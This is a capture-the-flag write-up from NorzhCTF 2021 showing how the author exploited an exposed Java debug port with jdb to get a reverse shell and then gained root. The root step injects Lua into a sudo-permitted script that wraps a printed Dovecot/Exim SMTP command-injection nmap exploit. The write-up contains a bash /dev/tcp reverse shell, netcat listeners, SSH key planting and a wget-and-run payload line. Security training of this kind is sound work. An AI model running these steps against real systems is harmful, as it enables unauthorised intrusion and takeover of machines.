NorzhCTF 2021: Leet Computer

Leet Computer

Category: Airport hall/pentest

chal

20 points

One of the attacker is still in the airport hall, and it seems that he is still connected to the airport wifi ! Get a root shell on its machine to continue your investigation.

This challenge will give you access to another network.

by Masterfox

Solution

I’ve started this challenge with nmap scan of machine, from which ping came during Discovery challenge.

nmap -sV -p 1-65535 10.45.4.39
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-23 01:44 CEST
Nmap scan report for 10.45.4.39
Host is up (0.042s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
18001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.11
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds

Jdwp stands for Java Debug Wire Protocol. I had no idea what it is, but I found couple of very helpful articles, which clarified the topic and gave me the basics for exploitation.

Links to resources:

After some attempts to jdwp-shellifier.py I finally ended up with pure jdb. I’ve exploited the vulnerability in following steps:

  1. jdb -attach 10.45.4.39:18001 to connect to jdwp
  2. In jdb: trace go methods to pick the method on which breakpoint will be set. I’ve chosen org.apache.logging.log4j.util.PropertiesUtil$Environment.get.
  3. In jdb: stop in org.apache.logging.log4j.util.PropertiesUtil$Environment.get to setup breakpoint.
  4. sudo nc -lvp 80 -s 172.16.105.10 to listen for reverse shell connection on my IP address.
  5. In jdb after breakpoint hit: print new java.io.PrintWriter(new java.io.PrintWriter("/tmp/script.sh"),true).println("bash -i >& /dev/tcp/172.16.105.10/80 0>&1") to create shell script which will give me reverse shell.
  6. And finally in jdb: print new java.lang.Runtime().exec("/bin/bash /tmp/script.sh") to get reverse shell.

Rightaway after access I’ve put my public key to /home/e11i0t/.ssh/authorized_keys and connected to the server via ssh.

Next task was to escalate the privileges to root. I’ve found suspicious sudoers entry.

┌──(e11i0t㉿team-753-inner-savages-kali)-[~]
└─$ sudo -l
Matching Defaults entries for e11i0t on team-753-inner-savages-kali:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User e11i0t may run the following commands on team-753-inner-savages-kali:
    (root) NOPASSWD: /home/e11i0t/scripts/mail-scan.py

Here’s the content of the mail-scan.py script:

#!/usr/bin/env python3
#coding: utf-8

import argparse
from tempfile import NamedTemporaryFile
from os import system
import re

TEMPLATE_NSE = """
description = [[
Attempts to exploit a remote command execution vulnerability in misconfigured Dovecot/Exim mail servers.

It is important to note that the mail server will not return the output of the command. The mail server
also wont allow space characters but they can be replaced with "${{IFS}}". Commands can also be
concatenated with "``". The script takes care of the conversion automatically.

References:
* https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution
* http://immunityproducts.blogspot.mx/2013/05/how-common-is-common-exim-and-dovecot.html
* CVE not available yet
]]

---
-- @usage nmap -sV --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="uname -a" <target>
-- @usage nmap -p586 --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="wget -O /tmp/p example.com/test.sh;bash /tmp/p" <target>
--
-- @output
-- PORT    STATE SERVICE REASON
-- 465/tcp open  smtps   syn-ack
-- |_smtp-dovecot-exim-exec: Malicious payload delivered:250 OK id=XXX
--
-- @args smtp-dovecot-exim-exec.cmd Command to execute. Separate commands with ";".
-- @args smtp-dovecot-exim-exec.auth Authentication scheme (Optional).
-- @args smtp-dovecot-exim-exec.user Authentication username (Optional).
-- @args smtp-dovecot-exim-exec.pwd Authentication password (Optional).
-- @args smtp-dovecot-exim-exec.from Email address to use in the FROM field. Default: nmap+domain. (Optional).
-- @args smtp-dovecot-exim-exec.to Email address to use in the TO field. Default: [email protected]
-- @args smtp-dovecot-exim-exec.timeout Timeout value. Default: 8000. (Optional)
-- @args smtp-dovecot-exim-exec.domain Domain name to use. It attempts to set this field automatically. (Optional)
---

author = "Paulino Calderon <[email protected]>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {{"exploit"}}

local smtp = require "smtp"
local shortport = require "shortport"
local stdnse = require "stdnse"

portrule = shortport.port_or_service({{25, 465, 587}},
                {{"smtp", "smtps", "submission"}})


action = function(host, port)
  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname"
  --Prepare payload
  cmd = string.gsub(cmd, " ", "${{IFS}}")
  cmd = string.gsub(cmd, ";", "``")

  local user = stdnse.get_script_args(SCRIPT_NAME..".user") or nil
  local pwd = stdnse.get_script_args(SCRIPT_NAME..".pwd") or nil
  local from = stdnse.get_script_args(SCRIPT_NAME..".from") or "[email protected]"..smtp.get_domain(host)
  local to = "{mail_address}"
  local conn_timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 8000
  local smtp_domain = stdnse.get_script_args(SCRIPT_NAME..".domain") or smtp.get_domain(host)

  local smtp_opts = {{
    ssl = true, timeout = conn_timeout, recv_before = true, lines = 1
  }}
  local smtp_conn = smtp.connect(host, port, smtp_opts)

  local status, resp = smtp.ehlo(smtp_conn, smtp_domain)
  local auth_mech = stdnse.get_script_args(SCRIPT_NAME..".auth") or smtp.get_auth_mech(resp)
  if type(auth_mech) == "string" then
    auth_mech = {{ auth_mech }}
  end

  if (user and pwd) then
    status = false
    stdnse.print_debug(1, "%s:Mail server requires authentication.", SCRIPT_NAME)
    for i, mech in ipairs(auth_mech) do
      stdnse.print_debug(1, "Trying to authenticate using the method:%s", mech)
      status, resp = smtp.login(smtp_conn, user, pwd, mech)
      if status then
        break
      end
    end
    if not(status) then
      stdnse.print_debug(1, "%s:Authentication failed using user '%s' and password '%s'", SCRIPT_NAME, user, pwd)
      return nil
    end
  end

  --Sends MAIL cmd and injects malicious payload
  local from_frags =  stdnse.strsplit("@", from)
  local malicious_from_field = from_frags[1].."`"..cmd.."`@"..from_frags[2]
  stdnse.print_debug(1, "%s:Setting malicious MAIL FROM field to:%s", SCRIPT_NAME, malicious_from_field)
  status, resp = smtp.mail(smtp_conn, malicious_from_field)
  if not(status) then
    stdnse.print_debug(1, "%s:Payload failed:%s", SCRIPT_NAME, resp)
    return nil
  end

  --Sets recipient
  status, resp = smtp.recipient(smtp_conn, to)
  if not(status) then
    stdnse.print_debug(1, "%s:Cannot set recipient:%s", SCRIPT_NAME, resp)
    return nil
  end

  --Sets data and deliver email
  status, resp = smtp.datasend(smtp_conn, "nse")
  if status then
    return string.format("Malicious payload delivered:%s", resp)
  else
    stdnse.print_debug(1, "%s:Payload could not be delivered:%s", SCRIPT_NAME, resp)
  end
  return nil
 end
"""

parser = argparse.ArgumentParser()
parser.add_argument('--ip', required=True, help='IP of the Dovecot to attacc')
parser.add_argument('--mail', required=True, help='Mail address to check')
args = parser.parse_args()

# Arguments validation
ipregex = re.compile('^([0-9]{3}\.){3}[0-9]{3}$')
if not ipregex.match(args.ip):
  print("Error: IP argument is invalid")
  exit(1)

f = NamedTemporaryFile(suffix=".nse")
with open(f.name, "w") as tmp_file:
    tmp_file.write(TEMPLATE_NSE.format(mail_address=args.mail))
system("nmap --script={} '{}'".format(tmp_file.name, args.ip))

It took me ages, but finally I’ve found the way to get root. Used idea was to inject part of my own lua script, which execute the bash with escalated privileges. Script can be executed only if nmap find vulnerable port, that’s why I had to trick it a bit with nc. Here are the steps:

  1. I’ve launched on my machine sudo nc -lvp 465.
  2. Created payload as below:

    IFS=''
    MAIL=`echo -e 'dummy"\nos.execute("bash")\nlocal dummy = "dummy'`
  3. Executed the script and get root :-)

    ┌──(e11i0t㉿team-753-inner-savages-kali)-[~/scripts]
    └─$ sudo /home/e11i0t/scripts/mail-scan.py --ip 172.016.105.010 --mail "${MAIL}"
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-22 23:56 UTC
    Stats: 0:00:05 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
    SYN Stealth Scan Timing: About 32.55% done; ETC: 23:56 (0:00:10 remaining)
    ┌──(root💀team-753-inner-savages-kali)-[/home/e11i0t/scripts]
    └─# 

The flag was placed in the /root/flag.

┌──(root💀team-753-inner-savages-kali)-[~]
└─# cat flag
NORZH{e11i0t_1s_s0_1337!!}

Flag

NORZH{e11i0t_1s_s0_1337!!}

Privacy Policy
luc © 2021